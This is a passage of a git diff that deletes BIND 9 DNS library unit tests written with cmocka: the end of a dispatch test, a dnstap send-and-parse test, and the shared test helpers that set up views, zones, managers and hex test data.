-	isc_socket_t *sock = NULL;
-
-	isc_socket_attach(dns_dispatch_getsocket(dispatch), &sock);
-	result = isc_socket_sendto(sock, event->ev_arg, task, senddone, sock,
-				   &local, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_event_free(&event);
-}
-
-/* test dispatch getnext */
-static void
-dispatch_getnext(void **state) {
-	isc_region_t region;
-	isc_result_t result;
-	isc_socket_t *sock = NULL;
-	isc_task_t *task = NULL;
-	uint16_t id;
-	struct in_addr ina;
-	unsigned char message[12];
-	unsigned int attrs;
-	unsigned char rbuf[12];
-
-	UNUSED(state);
-
-	atomic_init(&responses, 0);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dispatchmgr_create(dt_mctx, &dispatchmgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	ina.s_addr = htonl(INADDR_LOOPBACK);
-	isc_sockaddr_fromin(&local, &ina, 0);
-	attrs = DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_UDP;
-	result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, &local,
-				     512, 6, 1024, 17, 19, attrs, attrs,
-				     &dispatch);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Create a local udp nameserver on the loopback.
-	 */
-	result = isc_socket_create(socketmgr, AF_INET, isc_sockettype_udp,
-				   &sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	ina.s_addr = htonl(INADDR_LOOPBACK);
-	isc_sockaddr_fromin(&local, &ina, 0);
-	result = isc_socket_bind(sock, &local, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_socket_getsockname(sock, &local);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	region.base = rbuf;
-	region.length = sizeof(rbuf);
-	result = isc_socket_recv(sock, &region, 1, task, nameserver, sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_dispatch_addresponse(dispatch, 0, &local, task, response,
-					  NULL, &id, &dispentry, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(message, 0, sizeof(message));
-	message[0] = (id >> 8) & 0xff;
-	message[1] = id & 0xff;
-
-	region.base = message;
-	region.length = sizeof(message);
-	result = isc_app_onrun(dt_mctx, task, startit, &region);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_app_run();
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_int_equal(atomic_load_acquire(&responses), 2);
-
-	/*
-	 * Shutdown nameserver.
-	 */
-	isc_socket_cancel(sock, task, ISC_SOCKCANCEL_RECV);
-	isc_socket_detach(&sock);
-	isc_task_detach(&task);
-
-	/*
-	 * Shutdown the dispatch.
-	 */
-	dns_dispatch_detach(&dispatch);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(dispatchset_create, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(dispatchset_get, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(dispatch_getnext, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dnstap_test.c b/lib/dns/tests/dnstap_test.c
deleted file mode 100644
index 13b4907d5d..0000000000
--- a/lib/dns/tests/dnstap_test.c
+++ /dev/null
@@ -1,400 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/file.h>
-#include <isc/print.h>
-#include <isc/stdio.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include <dns/dnstap.h>
-#include <dns/view.h>
-
-#include "dnstest.h"
-
-#ifdef HAVE_DNSTAP
-
-#include <fstrm.h>
-
-#include <protobuf-c/protobuf-c.h>
-
-#define TAPFILE "testdata/dnstap/dnstap.file"
-#define TAPSOCK "testdata/dnstap/dnstap.sock"
-
-#define TAPSAVED "testdata/dnstap/dnstap.saved"
-#define TAPTEXT	 "testdata/dnstap/dnstap.text"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static void
-cleanup(void) {
-	(void)isc_file_remove(TAPFILE);
-	(void)isc_file_remove(TAPSOCK);
-}
-
-/* set up dnstap environment */
-static void
-create_test(void **state) {
-	isc_result_t result;
-	dns_dtenv_t *dtenv = NULL;
-	struct fstrm_iothr_options *fopt;
-
-	UNUSED(state);
-
-	cleanup();
-
-	fopt = fstrm_iothr_options_init();
-	assert_non_null(fopt);
-	fstrm_iothr_options_set_num_input_queues(fopt, 1);
-
-	result = dns_dt_create(dt_mctx, dns_dtmode_file, TAPFILE, &fopt, NULL,
-			       &dtenv);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	if (dtenv != NULL) {
-		dns_dt_detach(&dtenv);
-	}
-	if (fopt != NULL) {
-		fstrm_iothr_options_destroy(&fopt);
-	}
-
-	assert_true(isc_file_exists(TAPFILE));
-
-	fopt = fstrm_iothr_options_init();
-	assert_non_null(fopt);
-	fstrm_iothr_options_set_num_input_queues(fopt, 1);
-
-	result = dns_dt_create(dt_mctx, dns_dtmode_unix, TAPSOCK, &fopt, NULL,
-			       &dtenv);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	if (dtenv != NULL) {
-		dns_dt_detach(&dtenv);
-	}
-	if (fopt != NULL) {
-		fstrm_iothr_options_destroy(&fopt);
-	}
-
-	/* 'create' should succeed, but the file shouldn't exist yet */
-	assert_false(isc_file_exists(TAPSOCK));
-
-	fopt = fstrm_iothr_options_init();
-	assert_non_null(fopt);
-	fstrm_iothr_options_set_num_input_queues(fopt, 1);
-
-	result = dns_dt_create(dt_mctx, 33, TAPSOCK, &fopt, NULL, &dtenv);
-	assert_int_equal(result, ISC_R_FAILURE);
-	assert_null(dtenv);
-	if (dtenv != NULL) {
-		dns_dt_detach(&dtenv);
-	}
-	if (fopt != NULL) {
-		fstrm_iothr_options_destroy(&fopt);
-	}
-
-	cleanup();
-}
-
-/* send dnstap messages */
-static void
-send_test(void **state) {
-	isc_result_t result;
-	dns_dtenv_t *dtenv = NULL;
-	dns_dthandle_t *handle = NULL;
-	uint8_t *data;
-	size_t dsize;
-	unsigned char zone[DNS_NAME_MAXWIRE];
-	unsigned char qambuffer[4096], rambuffer[4096];
-	unsigned char qrmbuffer[4096], rrmbuffer[4096];
-	isc_buffer_t zb, qamsg, ramsg, qrmsg, rrmsg;
-	size_t qasize, qrsize, rasize, rrsize;
-	dns_fixedname_t zfname;
-	dns_name_t *zname;
-	dns_dtmsgtype_t dt;
-	dns_view_t *view = NULL;
-	dns_compress_t cctx;
-	isc_region_t zr;
-	isc_sockaddr_t qaddr;
-	isc_sockaddr_t raddr;
-	struct in_addr in;
-	isc_stdtime_t now;
-	isc_time_t p, f;
-	struct fstrm_iothr_options *fopt;
-
-	UNUSED(state);
-
-	cleanup();
-
-	result = dns_test_makeview("test", &view);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	fopt = fstrm_iothr_options_init();
-	assert_non_null(fopt);
-	fstrm_iothr_options_set_num_input_queues(fopt, 1);
-
-	result = dns_dt_create(dt_mctx, dns_dtmode_file, TAPFILE, &fopt, NULL,
-			       &dtenv);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	dns_dt_attach(dtenv, &view->dtenv);
-	view->dttypes = DNS_DTTYPE_ALL;
-
-	/*
-	 * Set up some test data
-	 */
-	zname = dns_fixedname_initname(&zfname);
-	isc_buffer_constinit(&zb, "example.com.", 12);
-	isc_buffer_add(&zb, 12);
-	result = dns_name_fromtext(zname, &zb, NULL, 0, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(&zr, 0, sizeof(zr));
-	isc_buffer_init(&zb, zone, sizeof(zone));
-	result = dns_compress_init(&cctx, -1, dt_mctx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, DNS_COMPRESS_NONE);
-	result = dns_name_towire(zname, &cctx, &zb);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_compress_invalidate(&cctx);
-	isc_buffer_usedregion(&zb, &zr);
-
-	in.s_addr = inet_addr("10.53.0.1");
-	isc_sockaddr_fromin(&qaddr, &in, 2112);
-	in.s_addr = inet_addr("10.53.0.2");
-	isc_sockaddr_fromin(&raddr, &in, 2112);
-
-	isc_stdtime_get(&now);
-	isc_time_set(&p, now - 3600, 0); /* past */
-	isc_time_set(&f, now + 3600, 0); /* future */
-
-	result = dns_test_getdata("testdata/dnstap/query.auth", qambuffer,
-				  sizeof(qambuffer), &qasize);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_buffer_init(&qamsg, qambuffer, qasize);
-	isc_buffer_add(&qamsg, qasize);
-
-	result = dns_test_getdata("testdata/dnstap/response.auth", rambuffer,
-				  sizeof(rambuffer), &rasize);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_buffer_init(&ramsg, rambuffer, rasize);
-	isc_buffer_add(&ramsg, rasize);
-
-	result = dns_test_getdata("testdata/dnstap/query.recursive", qrmbuffer,
-				  sizeof(qrmbuffer), &qrsize);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_buffer_init(&qrmsg, qrmbuffer, qrsize);
-	isc_buffer_add(&qrmsg, qrsize);
-
-	result = dns_test_getdata("testdata/dnstap/response.recursive",
-				  rrmbuffer, sizeof(rrmbuffer), &rrsize);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_buffer_init(&rrmsg, rrmbuffer, rrsize);
-	isc_buffer_add(&rrmsg, rrsize);
-
-	for (dt = DNS_DTTYPE_SQ; dt <= DNS_DTTYPE_TR; dt <<= 1) {
-		isc_buffer_t *m;
-		isc_sockaddr_t *q = &qaddr, *r = &raddr;
-
-		switch (dt) {
-		case DNS_DTTYPE_AQ:
-			m = &qamsg;
-			break;
-		case DNS_DTTYPE_AR:
-			m = &ramsg;
-			break;
-		default:
-			m = &qrmsg;
-			if ((dt & DNS_DTTYPE_RESPONSE) != 0) {
-				m = &ramsg;
-			}
-			break;
-		}
-
-		dns_dt_send(view, dt, q, r, false, &zr, &p, &f, m);
-		dns_dt_send(view, dt, q, r, false, &zr, NULL, &f, m);
-		dns_dt_send(view, dt, q, r, false, &zr, &p, NULL, m);
-		dns_dt_send(view, dt, q, r, false, &zr, NULL, NULL, m);
-		dns_dt_send(view, dt, q, r, true, &zr, &p, &f, m);
-		dns_dt_send(view, dt, q, r, true, &zr, NULL, &f, m);
-		dns_dt_send(view, dt, q, r, true, &zr, &p, NULL, m);
-		dns_dt_send(view, dt, q, r, true, &zr, NULL, NULL, m);
-	}
-
-	dns_dt_detach(&view->dtenv);
-	dns_dt_detach(&dtenv);
-	dns_view_detach(&view);
-
-	result = dns_dt_open(TAPFILE, dns_dtmode_file, dt_mctx, &handle);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	while (dns_dt_getframe(handle, &data, &dsize) == ISC_R_SUCCESS) {
-		dns_dtdata_t *dtdata = NULL;
-		isc_region_t r;
-		static dns_dtmsgtype_t expected = DNS_DTTYPE_SQ;
-		static int n = 0;
-
-		r.base = data;
-		r.length = dsize;
-
-		result = dns_dt_parse(dt_mctx, &r, &dtdata);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		if (result != ISC_R_SUCCESS) {
-			n++;
-			continue;
-		}
-
-		assert_int_equal(dtdata->type, expected);
-		if (++n % 8 == 0) {
-			expected <<= 1;
-		}
-
-		dns_dtdata_free(&dtdata);
-	}
-
-	if (fopt != NULL) {
-		fstrm_iothr_options_destroy(&fopt);
-	}
-	if (handle != NULL) {
-		dns_dt_close(&handle);
-	}
-	cleanup();
-}
-
-/* dnstap message to text */
-static void
-totext_test(void **state) {
-	isc_result_t result;
-	dns_dthandle_t *handle = NULL;
-	uint8_t *data;
-	size_t dsize;
-	FILE *fp = NULL;
-
-	UNUSED(state);
-
-	result = dns_dt_open(TAPSAVED, dns_dtmode_file, dt_mctx, &handle);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_stdio_open(TAPTEXT, "r", &fp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	while (dns_dt_getframe(handle, &data, &dsize) == ISC_R_SUCCESS) {
-		dns_dtdata_t *dtdata = NULL;
-		isc_buffer_t *b = NULL;
-		isc_region_t r;
-		char s[BUFSIZ], *p;
-
-		r.base = data;
-		r.length = dsize;
-
-		/* read the corresponding line of text */
-		p = fgets(s, sizeof(s), fp);
-		assert_ptr_equal(p, s);
-		if (p == NULL) {
-			break;
-		}
-
-		p = strchr(p, '\n');
-		if (p != NULL) {
-			*p = '\0';
-		}
-
-		/* parse dnstap frame */
-		result = dns_dt_parse(dt_mctx, &r, &dtdata);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		if (result != ISC_R_SUCCESS) {
-			continue;
-		}
-
-		isc_buffer_allocate(dt_mctx, &b, 2048);
-		assert_non_null(b);
-		if (b == NULL) {
-			break;
-		}
-
-		/* convert to text and compare */
-		result = dns_dt_datatotext(dtdata, &b);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		assert_string_equal((char *)isc_buffer_base(b), s);
-
-		dns_dtdata_free(&dtdata);
-		isc_buffer_free(&b);
-	}
-
-	if (handle != NULL) {
-		dns_dt_close(&handle);
-	}
-	cleanup();
-}
-#endif /* HAVE_DNSTAP */
-
-int
-main(void) {
-#if HAVE_DNSTAP
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(create_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(send_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(totext_test, _setup, _teardown),
-	};
-
-	/* make sure text conversion gets the right local time */
-	setenv("TZ", "PST8", 1);
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-#else  /* if HAVE_DNSTAP */
-	print_message("1..0 # Skipped: dnstap not enabled\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-#endif /* HAVE_DNSTAP */
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* HAVE_CMOCKA */
diff --git a/lib/dns/tests/dnstest.c b/lib/dns/tests/dnstest.c
deleted file mode 100644
index c14eed36e8..0000000000
--- a/lib/dns/tests/dnstest.c
+++ /dev/null
@@ -1,634 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-
-#if HAVE_CMOCKA
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/file.h>
-#include <isc/hash.h>
-#include <isc/hex.h>
-#include <isc/lex.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/socket.h>
-#include <isc/stdio.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/callbacks.h>
-#include <dns/db.h>
-#include <dns/fixedname.h>
-#include <dns/log.h>
-#include <dns/name.h>
-#include <dns/result.h>
-#include <dns/view.h>
-#include <dns/zone.h>
-
-#include "dnstest.h"
-
-#define CHECK(r)                               \
-	do {                                   \
-		result = (r);                  \
-		if (result != ISC_R_SUCCESS) { \
-			goto cleanup;          \
-		}                              \
-	} while (0)
-
-isc_mem_t *dt_mctx = NULL;
-isc_log_t *lctx = NULL;
-isc_nm_t *netmgr = NULL;
-isc_taskmgr_t *taskmgr = NULL;
-isc_task_t *maintask = NULL;
-isc_timermgr_t *timermgr = NULL;
-isc_socketmgr_t *socketmgr = NULL;
-dns_zonemgr_t *zonemgr = NULL;
-bool app_running = false;
-int ncpus;
-bool debug_mem_record = true;
-
-static bool dst_active = false;
-static bool test_running = false;
-
-/*
- * Logging categories: this needs to match the list in bin/named/log.c.
- */
-static isc_logcategory_t categories[] = { { "", 0 },
-					  { "client", 0 },
-					  { "network", 0 },
-					  { "update", 0 },
-					  { "queries", 0 },
-					  { "unmatched", 0 },
-					  { "update-security", 0 },
-					  { "query-errors", 0 },
-					  { NULL, 0 } };
-
-static void
-cleanup_managers(void) {
-	if (maintask != NULL) {
-		isc_task_shutdown(maintask);
-		isc_task_destroy(&maintask);
-	}
-	isc_managers_destroy(netmgr == NULL ? NULL : &netmgr,
-			     taskmgr == NULL ? NULL : &taskmgr,
-			     timermgr == NULL ? NULL : &timermgr,
-			     socketmgr == NULL ? NULL : &socketmgr);
-	if (app_running) {
-		isc_app_finish();
-	}
-}
-
-static isc_result_t
-create_managers(void) {
-	isc_result_t result;
-	ncpus = isc_os_ncpus();
-
-	isc_managers_create(dt_mctx, ncpus, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-	CHECK(isc_task_create(taskmgr, 0, &maintask));
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	cleanup_managers();
-	return (result);
-}
-
-isc_result_t
-dns_test_begin(FILE *logfile, bool start_managers) {
-	isc_result_t result;
-
-	INSIST(!test_running);
-	test_running = true;
-
-	if (start_managers) {
-		CHECK(isc_app_start());
-	}
-	if (debug_mem_record) {
-		isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
-	}
-
-	INSIST(dt_mctx == NULL);
-	isc_mem_create(&dt_mctx);
-
-	/* Don't check the memory leaks as they hide the assertions */
-	isc_mem_setdestroycheck(dt_mctx, false);
-
-	INSIST(!dst_active);
-	CHECK(dst_lib_init(dt_mctx, NULL));
-	dst_active = true;
-
-	if (logfile != NULL) {
-		isc_logdestination_t destination;
-		isc_logconfig_t *logconfig = NULL;
-
-		INSIST(lctx == NULL);
-		isc_log_create(dt_mctx, &lctx, &logconfig);
-		isc_log_registercategories(lctx, categories);
-		isc_log_setcontext(lctx);
-		dns_log_init(lctx);
-		dns_log_setcontext(lctx);
-
-		destination.file.stream = logfile;
-		destination.file.name = NULL;
-		destination.file.versions = ISC_LOG_ROLLNEVER;
-		destination.file.maximum_size = 0;
-		isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
-				      ISC_LOG_DYNAMIC, &destination, 0);
-		CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
-	}
-
-	dns_result_register();
-
-	if (start_managers) {
-		CHECK(create_managers());
-	}
-
-	/*
-	 * The caller might run from another directory, so tests
-	 * that access test data files must first chdir to the proper
-	 * location.
-	 */
-	if (chdir(TESTS_DIR) == -1) {
-		CHECK(ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	dns_test_end();
-	return (result);
-}
-
-void
-dns_test_end(void) {
-	cleanup_managers();
-
-	dst_lib_destroy();
-	dst_active = false;
-
-	if (lctx != NULL) {
-		isc_log_destroy(&lctx);
-	}
-
-	if (dt_mctx != NULL) {
-		isc_mem_destroy(&dt_mctx);
-	}
-
-	test_running = false;
-}
-
-/*
- * Create a view.
- */
-isc_result_t
-dns_test_makeview(const char *name, dns_view_t **viewp) {
-	isc_result_t result;
-	dns_view_t *view = NULL;
-
-	CHECK(dns_view_create(dt_mctx, dns_rdataclass_in, name, &view));
-	*viewp = view;
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (view != NULL) {
-		dns_view_detach(&view);
-	}
-	return (result);
-}
-
-isc_result_t
-dns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
-		  bool createview) {
-	dns_fixedname_t fixed_origin;
-	dns_zone_t *zone = NULL;
-	isc_result_t result;
-	dns_name_t *origin;
-
-	REQUIRE(view == NULL || !createview);
-
-	/*
-	 * Create the zone structure.
-	 */
-	result = dns_zone_create(&zone, dt_mctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	/*
-	 * Set zone type and origin.
-	 */
-	dns_zone_settype(zone, dns_zone_master);
-	origin = dns_fixedname_initname(&fixed_origin);
-	result = dns_name_fromstring(origin, name, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		goto detach_zone;
-	}
-	result = dns_zone_setorigin(zone, origin);
-	if (result != ISC_R_SUCCESS) {
-		goto detach_zone;
-	}
-
-	/*
-	 * If requested, create a view.
-	 */
-	if (createview) {
-		result = dns_test_makeview("view", &view);
-		if (result != ISC_R_SUCCESS) {
-			goto detach_zone;
-		}
-	}
-
-	/*
-	 * If a view was passed as an argument or created above, attach the
-	 * created zone to it.  Otherwise, set the zone's class to IN.
-	 */
-	if (view != NULL) {
-		dns_zone_setview(zone, view);
-		dns_zone_setclass(zone, view->rdclass);
-		dns_view_addzone(view, zone);
-	} else {
-		dns_zone_setclass(zone, dns_rdataclass_in);
-	}
-
-	*zonep = zone;
-
-	return (ISC_R_SUCCESS);
-
-detach_zone:
-	dns_zone_detach(&zone);
-
-	return (result);
-}
-
-isc_result_t
-dns_test_setupzonemgr(void) {
-	isc_result_t result;
-	REQUIRE(zonemgr == NULL);
-
-	result = dns_zonemgr_create(dt_mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &zonemgr);
-	return (result);
-}
-
-isc_result_t
-dns_test_managezone(dns_zone_t *zone) {
-	isc_result_t result;
-	REQUIRE(zonemgr != NULL);
-
-	result = dns_zonemgr_setsize(zonemgr, 1);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_zonemgr_managezone(zonemgr, zone);
-	return (result);
-}
-
-void
-dns_test_releasezone(dns_zone_t *zone) {
-	REQUIRE(zonemgr != NULL);
-	dns_zonemgr_releasezone(zonemgr, zone);
-}
-
-void
-dns_test_closezonemgr(void) {
-	REQUIRE(zonemgr != NULL);
-
-	dns_zonemgr_shutdown(zonemgr);
-	dns_zonemgr_detach(&zonemgr);
-}
-
-/*
- * Sleep for 'usec' microseconds.
- */
-void
-dns_test_nap(uint32_t usec) {
-	struct timespec ts;
-
-	ts.tv_sec = usec / 1000000;
-	ts.tv_nsec = (usec % 1000000) * 1000;
-	nanosleep(&ts, NULL);
-}
-
-isc_result_t
-dns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
-		const char *testfile) {
-	isc_result_t result;
-	dns_fixedname_t fixed;
-	dns_name_t *name;
-
-	name = dns_fixedname_initname(&fixed);
-
-	result = dns_name_fromstring(name, origin, 0, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_db_create(dt_mctx, "rbt", name, dbtype, dns_rdataclass_in,
-			       0, NULL, db);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_db_load(*db, testfile, dns_masterformat_text, 0);
-	return (result);
-}
-
-static int
-fromhex(char c) {
-	if (c >= '0' && c <= '9') {
-		return (c - '0');
-	} else if (c >= 'a' && c <= 'f') {
-		return (c - 'a' + 10);
-	} else if (c >= 'A' && c <= 'F') {
-		return (c - 'A' + 10);
-	}
-
-	printf("bad input format: %02x\n", c);
-	exit(3);
-	/* NOTREACHED */
-}
-
-/*
- * Format contents of given memory region as a hex string, using the buffer
- * of length 'buflen' pointed to by 'buf'. 'buflen' must be at least three
- * times 'len'. Always returns 'buf'.
- */
-char *
-dns_test_tohex(const unsigned char *data, size_t len, char *buf,
-	       size_t buflen) {
-	isc_constregion_t source = { .base = data, .length = len };
-	isc_buffer_t target;
-	isc_result_t result;
-
-	memset(buf, 0, buflen);
-	isc_buffer_init(&target, buf, buflen);
-	result = isc_hex_totext((isc_region_t *)&source, 1, " ", &target);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (buf);
-}
-
-isc_result_t
-dns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
-		 size_t *sizep) {
-	isc_result_t result;
-	unsigned char *bp;
-	char *rp, *wp;
-	char s[BUFSIZ];
-	size_t len, i;
-	FILE *f = NULL;
-	int n;
-
-	result = isc_stdio_open(file, "r", &f);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	bp = buf;
-	while (fgets(s, sizeof(s), f) != NULL) {
-		rp = s;
-		wp = s;
-		len = 0;
-		while (*rp != '\0') {
-			if (*rp == '#') {
-				break;
-			}
-			if (*rp != ' ' && *rp != '\t' && *rp != '\r' &&
-			    *rp != '\n') {
-				*wp++ = *rp;
-				len++;
-			}
-			rp++;
-		}
-		if (len == 0U) {
-			continue;
-		}
-		if (len % 2 != 0U) {
-			CHECK(ISC_R_UNEXPECTEDEND);
-		}
-		if (len > bufsiz * 2) {
-			CHECK(ISC_R_NOSPACE);
-		}
-		rp = s;
-		for (i = 0; i < len; i += 2) {
-			n = fromhex(*rp++);
-			n *= 16;
-			n += fromhex(*rp++);
-			*bp++ = n;
-		}
-	}
-
-	*sizep = bp - buf;
-
-	result = ISC_R_SUCCESS;
-
-cleanup:
-	isc_stdio_close(f);
-	return (result);
-}
-
-static void
-nullmsg(dns_rdatacallbacks_t *cb, const char *fmt, ...) {
-	UNUSED(cb);
-	UNUSED(fmt);
-}
-
-isc_result_t
-dns_test_rdatafromstring(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
-			 dns_rdatatype_t rdtype, unsigned char *dst,
-			 size_t dstlen, const char *src, bool warnings) {
-	dns_rdatacallbacks_t callbacks;
-	isc_buffer_t source, target;
-	isc_lex_t *lex = NULL;
-	isc_lexspecials_t specials = { 0 };
-	isc_result_t result;
-	size_t length;
-
-	REQUIRE(rdata != NULL);
-	REQUIRE(DNS_RDATA_INITIALIZED(rdata));
-	REQUIRE(dst != NULL);
-	REQUIRE(src != NULL);
-
-	/*
-	 * Set up source to hold the input string.
-	 */
-	length = strlen(src);
-	isc_buffer_constinit(&source, src, length);
-	isc_buffer_add(&source, length);
-
-	/*
-	 * Create a lexer as one is required by dns_rdata_fromtext().
-	 */
-	result = isc_lex_create(dt_mctx, 64, &lex);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	/*
-	 * Set characters which will be treated as valid multi-line RDATA
-	 * delimiters while reading the source string.  These should match
-	 * specials from lib/dns/master.c.
-	 */
-	specials[0] = 1;
-	specials['('] = 1;
-	specials[')'] = 1;
-	specials['"'] = 1;
-	isc_lex_setspecials(lex, specials);
-
-	/*
-	 * Expect DNS masterfile comments.
-	 */
-	isc_lex_setcomments(lex, ISC_LEXCOMMENT_DNSMASTERFILE);
-
-	/*
-	 * Point lexer at source.
-	 */
-	result = isc_lex_openbuffer(lex, &source);
-	if (result != ISC_R_SUCCESS) {
-		goto destroy_lexer;
-	}
-
-	/*
-	 * Set up target for storing uncompressed wire form of provided RDATA.
-	 */
-	isc_buffer_init(&target, dst, dstlen);
-
-	/*
-	 * Set up callbacks so warnings and errors are not printed.
-	 */
-	if (!warnings) {
-		dns_rdatacallbacks_init(&callbacks);
-		callbacks.warn = callbacks.error = nullmsg;
-	}
-
-	/*
-	 * Parse input string, determining result.
-	 */
-	result = dns_rdata_fromtext(rdata, rdclass, rdtype, lex, dns_rootname,
-				    0, dt_mctx, &target, &callbacks);
-
-destroy_lexer:
-	isc_lex_destroy(&lex);
-
-	return (result);
-}
-
-void
-dns_test_namefromstring(const char *namestr, dns_fixedname_t *fname) {
-	size_t length;
-	isc_buffer_t *b = NULL;
-	isc_result_t result;
-	dns_name_t *name;
-
-	length = strlen(namestr);
-
-	name = dns_fixedname_initname(fname);
-
-	isc_buffer_allocate(dt_mctx, &b, length);
-
-	isc_buffer_putmem(b, (const unsigned char *)namestr, length);
-	result = dns_name_fromtext(name, b, dns_rootname, 0, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_free(&b);
-}
-
-isc_result_t
-dns_test_difffromchanges(dns_diff_t *diff, const zonechange_t *changes,
-			 bool warnings) {
-	isc_result_t result = ISC_R_SUCCESS;
-	unsigned char rdata_buf[1024];
-	dns_difftuple_t *tuple = NULL;
-	isc_consttextregion_t region;
-	dns_rdatatype_t rdatatype;
-	dns_fixedname_t fixedname;
-	dns_rdata_t rdata;
-	dns_name_t *name;
-	size_t i;
-
-	REQUIRE(diff != NULL);
-	REQUIRE(changes != NULL);
-
-	dns_diff_init(dt_mctx, diff);
-
